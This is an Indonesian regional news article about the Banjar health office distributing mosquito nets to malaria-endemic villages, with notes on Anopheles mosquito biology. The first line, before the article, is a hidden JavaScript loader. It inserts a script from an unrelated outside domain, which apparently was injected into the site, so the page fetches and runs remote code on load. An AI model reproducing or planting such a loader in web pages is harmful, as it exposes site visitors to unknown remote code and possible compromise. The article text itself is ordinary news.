(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Dinas Kesehatan Banjar bagi-bagikan kelambu kepada sejumlah desa yang endemis malaria di Kabupaten Banjar, Senin (8/1). Penyerahan kelambu dilakukan Sekda Banjar Ir H Nasrunsyah di halaman Kantor Bupati Banjar
Dinkes Banjar menargetkan penurunan kasus penularan malaria di tahun 2019. Sasaran pembagian kelambu massal di Kabupaten Banjar meliputi 14 desa, diantaranya Desa Benua Anyar, Desa Garis, Desa Sungai Raya, Desa Sumber Baru, Desa Hakim Makmur, Desa Sumber Harapan, Desa Kahelaan, Desa Apuai, Desa Rantau Balai, Desa Belangian, Pengaron, Desa Mangkauk, Desa Simpang Tiga dan desa Lok Tanah. Total jumlah penduduk di 14 desa tersebut mencapai 21.607 kepala keluarga.
Menurut Kabid Pengendalian Penyakit dan Penyehatan Lingkungan (P2PL) M Thaufiq mengatakan, pembagian kelambu sebanyak 12.001 sesuai kebutuhan kelambu du desa-desa yang terindikasi endemis malaria, untuk mengurangi angka penularan
“Pembagian ditujukan terutama kepada ibu hamil dan bayi balita yang berimunisasi lengkap, karena rentan penularan penyakit malaria yang disebebkan oleh nyamuk Anopheles karena dapat mengancam jiwa,†ungkap M Thaufiq.
Mencegah penularan penyakit malaria sangat bermacam-macam. Namun ada beberapa hal yang bisa dilakukan untuk mencegah berkembangnya penyebab utama.Alasan mengapa menggunaan kelambu sebegai pencegahan, jelas Thaufiq, karena memerlukan dana yang minim dan praktis sehingga menjadi efesien serta efektif untuk diterapkan.“Nyamuk Anopheles dewasa berciri memiliki tubuh langsing ini aktif saat senja dan fajar, dan ada pula yang aktif di malam hari. Mereka adalah serangga terbang yang lemah dan menjadi tidak aktif dalam kondisi berangin,†jelas Thaufiq.
Hanya nyamuk betina yang menghisap darah untuk pengembangan telur. Dalam perkembangannya Nyamuk ini dapat menghasilkan sekitar 50-200 butir telur per oviposisi. Telur diletakkan secara tunggal di atas air dan akan menetas dalam waktu 2-3 hari. Dalam kondisi tropis, dibutuhkan 10-14 hari untuk perkembangan telur menjadi dewasa. (rendy/hendra)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.